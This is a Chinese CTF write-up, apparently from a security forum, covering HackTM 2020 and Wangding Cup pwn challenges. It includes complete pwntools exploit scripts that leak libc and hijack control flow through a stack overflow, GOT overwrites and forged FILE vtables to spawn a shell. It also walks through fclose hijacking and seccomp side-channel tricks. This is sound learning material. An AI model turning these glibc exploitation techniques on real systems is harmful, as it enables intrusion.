2020-HackTM 题目学习
2020-08-07 16:11:07 Author: bbs.pediy.com(查看原文) 阅读量:439 收藏

一、twisty

1. 程序分析与漏洞定位

程序的功能是一个4*4的“rubik's square”游戏,有一个0x10大小的叫做__m128i的结构体。

00000000 __m128i         union ; (sizeof=0x10, align=0x10, copyof_7)
00000000 m128i_i8        db 16 dup(?)
00000000 m128i_i16       dw 8 dup(?)
00000000 m128i_i32       dd 4 dup(?)
00000000 m128i_i64       dq 2 dup(?)
00000000 m128i_u8        db 16 dup(?)
00000000 m128i_u16       dw 8 dup(?)
00000000 m128i_u32       dd 4 dup(?)
00000000 m128i_u64       dq 2 dup(?)
00000000 __m128i         ends
00000000

程序的功能如下

          "Commands:\n"                         // 0x3f
          "    ? - print this message\n"
          "  cXd - rotate column X down\n"
          "  cXu - rotate column X up\n"
          "  rXl - rotate row X left\n"
          "  rXr - rotate row X right\n"
          "    l - list previous moves\n"
          "    u - undo last inp\n");

其中有专门存放指令记录的地方,位于stack上,并且有记录code_num的变量,相对位置关系如下

  __m128i v19; // [rsp+18h] [rbp-860h]
  char code_buffer[2048]; // [rsp+28h] [rbp-850h]
  int code_num; // [rsp+828h] [rbp-50h]

漏洞点在如下位置

        v13 = &v18[code_num / 2 + 0x18];        // store the code
        if ( code_num & 1 )
          *v13 += code;
        else
          *v13 = 16 * code;
        ++code_num;

正常情况是将指令历史存入code_buffer位置,但是没有对code_num大小限制,导致可以溢出到code_num变量位置,更改code_num的信息,导致可以泄露更改stack上的信息。

2. exp编写

思路:

  1. 首先通过溢出更改code_num大小导致泄露libc
  2. 然后修改libc_main_ret位置内容,改为one
  3. 最终完成游戏,使得程序退出循环(这里我是手动完成的)

exp如下:

#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

if __name__ == '__main__':        
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    ctx.binary = './twisty'
    #ctx.custom_lib_dir = '/home/iddm/glibc-all-in-one/libs/2.27-3ubuntu1_amd64'
    #ctx.remote = ('172.16.9.21', 9006)
    #ctx.debug_remote_libc = True

    ctx.symbols = {
        'node':0x2022a0,
    }

    ctx.breakpoints = [0x94b,0xafe]#menu

    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

    rs()

    code = {
    0x0 : 'c0u',
    0x1 : 'c1u',
    0x2 : 'c2u',
    0x3 : 'c3u',
    0x4 : 'c0d',
    0x5 : 'c1d',
    0x6 : 'c2d',
    0x7 : 'c3d',
    0x8 : 'r0r',
    0x9 : 'r1r',
    0xa : 'r2r',
    0xb : 'r3r',
    0xc : 'r0l',
    0xd : 'r1l',
    0xe : 'r2l',
    0xf : 'r3l'
    }
    dec_code = {v : k for k,v in code.iteritems()}
    #dbg()
    #payload = code[0x9] + '\n' + code[0xa] + '\n' + code[0xb] + '\n'
    #payload = code[0x9]+'\n'
    #s(payload*0x800*4)
    for i in range(0x800*2):
        sla('>',code[0x9])
    #dbg()
    sla('>',code[0xb])
    sla('>',code[0])
    sla('>',code[1])
    sla('>',code[0])
    for i in range(12):
        sla('>',code[0])
    for i in range(16):
        sla('>',code[1])
    sl('l')

    ru('>')
    content = ru('\n',drop=True)
    content = content.split()
    length = len(content)
    con = ""

    for i in range(0x800*2,length):
        con += hex(dec_code[content[i]])[-1:]

    def str2nomal(s):
        tmp = ""
        for i in range(8):
            tmp += s[(-i-1)*2:-i*2]
        return s[-2:]+tmp

    libc = int(str2nomal(con[16*10:16*11]),16) - 0x20840
    one = libc + 0x45226

    #dbg()
    def send_code(tmp):
        for i in range(8):
            first = int(tmp[2*i],16)
            second = int(tmp[2*i+1],16)
            print "*********************"
            print code[first],code[second]
            print "*********************"
            sla('>',code[second])
            sla('>',code[first])
    '''
    for i in range(2,10):
        tmp = str2nomal(con[i*16:(i+1)*16])
        print tmp
        send_code(tmp)
    #dbg()
    payload = hex(one)[2:]
    print "************"
    print payload
    print "************"
    send_code('0000'+payload)
    '''
    for i in range(0x10*3):
        sla('>','u')
    #dbg()

    payload = hex(one)[2:]
    payload = '0000'+payload
    send_code(payload[::-1])
    for i in range(0x30*2):
        sla('>',code[0])
    #dbg()

    irt()

二、Think-twice-before-speaking-once

程序给了,但是跑不起来,本地不能测试。

程序逻辑比较简单,是两次任意地址读和一次任意地址写,可以通过修改got表来获得更多次数的任意地址写权限。

通过这道题目可以学习一下怎么获得shell

这里我直接贴一下已经放出来blog的解答思路

首先是这篇博客https://ptr-yudai.hatenablog.com/entry/2020/02/06/130551#pwn-491pts-Think-twice-before-speaking-once

In order to get multiple AAW, I overwrote the GOT of exit into the AAW code. Also, system("/bin/sh"); somehow didn't work even though puts("/bin/sh"); did work. After several trials, I could get the shell by execve.

speak(elf.got['exit'], 0x400a31)
speak2(0x601100, u64('/bin/sh\0'))
speak2(0x6010a0, 0x601100)
speak2(elf.got['setbuf'], execve)
speak2(elf.got['signal'], elf.plt['exit'])
speak2(elf.got['exit'], 0x4008db)
sock.sendline("3")
sock.interactive()

然后是这一篇博客http://blog.redrocket.club/2020/02/04/hacktm20-thinktwice/

The Idea is to overwrite setbuf with system and modify reloc.stderr to be a pointer pointing to /bin/sh. Stderr is never used inside the code, so nothing is going to crash. The /bin/sh string is placed in some unused memory (e.g. just at the end of the reloc section). If we have done this, we can now just call main or init_proc to get a shell. (At least I thought so, it crashed…)
I don’t know what was going on on the remote side, but to me it seemed like the env pointer was wrong? So when doing a system(“/bin/sh”) libc would try to resolve the environment variables, but it got a wrong pointer and it would crash. Anyways, by calling execve directly this doesn’t happen, because we would have to do the job of supplying argv and env pointers. Supplying NULL is fine as well. And as lucky as we are, the second and third arguments are either NULL or some valid pointers. Shell.

    # read is now write for unlimited write.
    writeto(0x00601020, addr_read)

    # place /bin/sh in unused mem, let reloc.stderr point there
    xwrite(0x00601100, struct.unpack('<Q', b'/bin/sh\0')[0])
    xwrite(0x006010a0, 0x00601100)

    # setbuf is now execve
    xwrite(0x00601028, addr_execve)

    # exit is now main
    xwrite(0x00601068, 0x00400930)

    # exit to main -> init_proc -> execve("/bin/sh", 0, ?)

参考链接

http://blog.redrocket.club/2020/02/04/hacktm20-thinktwice/

https://ptr-yudai.hatenablog.com/entry/2020/02/06/130551#pwn-491pts-Think-twice-before-speaking-once

三、 trick_to_trick

这道题目给了两处任意地址写的机会,并且提供了libc的地址,libc环境是2.29,2.29的vtable是具有写权限的。

https://teamrocketist.github.io/2020/02/05/Pwn-HackTM-2020-Trip-To-Trick/这个博客记录了详细的解题过程,看了之后受益很多,考查点主要是fclose()函数触发的程序流劫持。

本题目是可以修改vtable的值,利用fclose()控制程序流主要是如下源码

int
_IO_new_fclose (FILE *fp)
{
  int status;

  CHECK_FILE(fp, EOF);

#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
  /* We desperately try to help programs which are using streams in a
     strange way and mix old and new functions.  Detect old streams
     here.  */
  if (_IO_vtable_offset (fp) != 0)
    return _IO_old_fclose (fp);
#endif

  /* First unlink the stream.  */
  if (fp->_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);

  _IO_acquire_lock (fp);
  if (fp->_flags & _IO_IS_FILEBUF)
    status = _IO_file_close_it (fp);
  else
    status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
  _IO_release_lock (fp);
  _IO_FINISH (fp);  -------------------------------------------------------此处开始劫持程序流
  if (fp->_mode > 0)
    {
      /* This stream has a wide orientation.  This means we have to free
     the conversion functions.  */
      struct _IO_codecvt *cc = fp->_codecvt;

      __libc_lock_lock (__gconv_lock);
      __gconv_release_step (cc->__cd_in.__cd.__steps);
      __gconv_release_step (cc->__cd_out.__cd.__steps);
      __libc_lock_unlock (__gconv_lock);
    }
  else
    {
      if (_IO_have_backup (fp))
    _IO_free_backup_area (fp);
    }
  if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
    {
      fp->_flags = 0;
      free(fp);
    }

  return status;
}

当调用setbuf关闭缓冲区之后,再次输入的时候将不会在heap区域分配空间当做缓冲区,其中IO_buf_base指向的是缓冲区起点,IO_buf_end指向的是缓冲区终点,关闭缓冲区之后,IO_buf_base 指向_IO_2_1stdin->shortbuf,位于stdin内部,保存\n或者\0,IO_buf_end=IO_buf_base+1。

我们修改_IO_2_1stdin->IO_buf_end,使其增大之后,便可以控制此缓冲区内部的内容,即输入时的内容都会先存储在当前的缓冲区内(libc空间)。

我最初还有一个疑问是,scanf("%llx %llx",&v4,&v5)正常来说是输入两个64位十六进制整数,在第二次输入时输入了长度很长的payload,不按照正常输入可以输入进去么? 经过程序测试的结果是,他会将输入的所有字符串先缓存在缓冲区内,然后按照格式解析给v4,v5,所以我们的payload是可以正常覆盖到libc上的。

解题思路:

  1. 修改_IO_2_1_stdin->_IO_buf_end,增大其值导致可以覆盖libc空间内容
  2. 修改_IO_2_1_stdout->vtable值,并且伪造fake_table->__finish函数地址为setcontext+0x35,同时布置好orw的ROP链
  3. fclose(stdout)触发ROP链,进行orw获得shell

四、网鼎杯--VMpwn

之所以介绍这道题目,是因为这道题目最后的get shell方式也是通过fclose函数,本题目不可以在libc段写,但是可以再bss段写,我们可以在bss段伪造stderr,然后利用fclose(stderr)获得shell。

由于是伪造stderr,所以不同于上题目中利用_IO_FINISH (fp);来控制程序流,我们控制程序流的位置要稍微靠前一下,否则还要保证之前的功能可以正常,劫持程序流位置如下:

int
_IO_new_fclose (FILE *fp)
{
  int status;

  CHECK_FILE(fp, EOF);

#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
  /* We desperately try to help programs which are using streams in a
     strange way and mix old and new functions.  Detect old streams
     here.  */
  if (_IO_vtable_offset (fp) != 0)
    return _IO_old_fclose (fp);
#endif

  /* First unlink the stream.  */
  if (fp->_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);

  _IO_acquire_lock (fp);
  if (fp->_flags & _IO_IS_FILEBUF)
    status = _IO_file_close_it (fp); -------------------------------------------------------此处开始劫持程序流
  else
    status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
  _IO_release_lock (fp);
  _IO_FINISH (fp); 
  if (fp->_mode > 0)
    {
      /* This stream has a wide orientation.  This means we have to free
     the conversion functions.  */
      struct _IO_codecvt *cc = fp->_codecvt;

      __libc_lock_lock (__gconv_lock);
      __gconv_release_step (cc->__cd_in.__cd.__steps);
      __gconv_release_step (cc->__cd_out.__cd.__steps);
      __libc_lock_unlock (__gconv_lock);
    }

  else
    {
      if (_IO_have_backup (fp))
    _IO_free_backup_area (fp);
    }
  if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
    {
      fp->_flags = 0;
      free(fp);
    }

  return status;
}

贴一下exp,感兴趣的可以自己去调试一下

#! /usr/bin/env python
# -*- coding: utf-8 -*-
from PwnContext import *
if __name__ == '__main__':
    #context.terminal = ['tmux', 'split', '-h']
    #-----function for quick script-----#
    s       = lambda data               :ctx.send(str(data))        #in case that data is a int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()

    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    leak    = lambda address, count=0   :ctx.leak(address, count)

    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    debugg = 1
    logg = 1

    ctx.binary = './vm_pwn'

    ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_amd64/'#remote libc
    ctx.debug_remote_libc = True

    ctx.symbols = {'fake':0x202060}
    ctx.breakpoints = [0xfd6,0xc50]
    #ctx.debug()
    #ctx.start("gdb",gdbscript="set follow-fork-mode child\nc")

    if debugg:
        rs()
    else:
        ctx.remote = ('localhost', 1234)
        rs(method = 'remote')

    if logg:
        context.log_level = 'debug'

    n_7 = '\x5d'
    n_5 = '\x2c'
    n_3 = '\x2d'
    n_2 = '\x2b'
    n_1 = '\x3e'
    n_4 = '\x2e'
    n_6 = '\x5b'
    n_8 = '\x00'
    n_9 = '\x01'
    n_0 = '\x3c'

    #ctx.debug()
    #raw_input()

    sla('name','AAAA')

    sla('>>>','1')
    payload = n_0*0x20 + n_6 + n_4 + (n_1 + n_4)*5#leak libc
    payload += n_0*(0x38+0xd-8) + n_4 + (n_1 + n_4)*5#leak proc_bass
    sa('task:',len(payload))
    sa('Task:\n',payload)

    libc_base = uu64(r(6)) - 0x3c5540
    log.success("libc_base = %#x"%libc_base)
    text_base = uu64(r(6)) - 0x202008
    log.success("text_base = %#x"%text_base)
    sla('>>>','1')

    #ctx.debug()
    #raw_input()
    libc = ctx.libc
    system = libc_base + libc.sym['system']
    payload_base = text_base + 0x202060

    payload = ''
    payload += n_5 + (n_1 + n_5) * 6 + n_1*2
    payload += n_1 * 0x80 + n_5 + (n_1 + n_5) * 5 + n_1*3
    payload += n_1 * 0x48 + n_5 + (n_1 + n_5) * 5 + n_1*3
    payload += n_5 + (n_1 + n_5) * 5 + n_1*3
    payload += n_0 * 0x108 + n_6 + n_5 + (n_1 + n_5) * 5
    sa('task:',len(payload))
    sa('Task:\n',payload)
    s('/bin/sh')
    s(p64(payload_base+0x100)[:6])
    s(p64(payload_base+0xe0-0x88)[:6])#fake vtable
    s(p64(system)[:6])#vtable func
    s(p64(payload_base)[:6])#change stderr
    sla('>>>','2')
    #ctx.debug(gdbscript='directory /mnt/hgfs/vm_share/glibc-source/glibc-2.23/libio/')
    irt()

五、obey_the_rules

题目进行了seccomp限制,但是rules未知,需要首先编写shellcode进行探测

得知seccomp限制条件如下

只允许read open 并且open的fd=3时,对于buffer值进行了规定,因此需要两次open,使得fd值为4

解题思路是第一步利用shellcode进一步扩大shellcode空间,可以输入更多的shellcode;然后利用侧信道攻击,将flag内容读取到内存中,然后利用汇编指令进行遍历比对,最终得到flag。

详见博客:https://r3billions.com/writeup-obey-the-rules/

HWS计划·2020安全精英夏令营来了!我们在华为松山湖欧洲小镇等你


文章来源: https://bbs.pediy.com/thread-261285.htm
如有侵权请联系:admin#unsafe.sh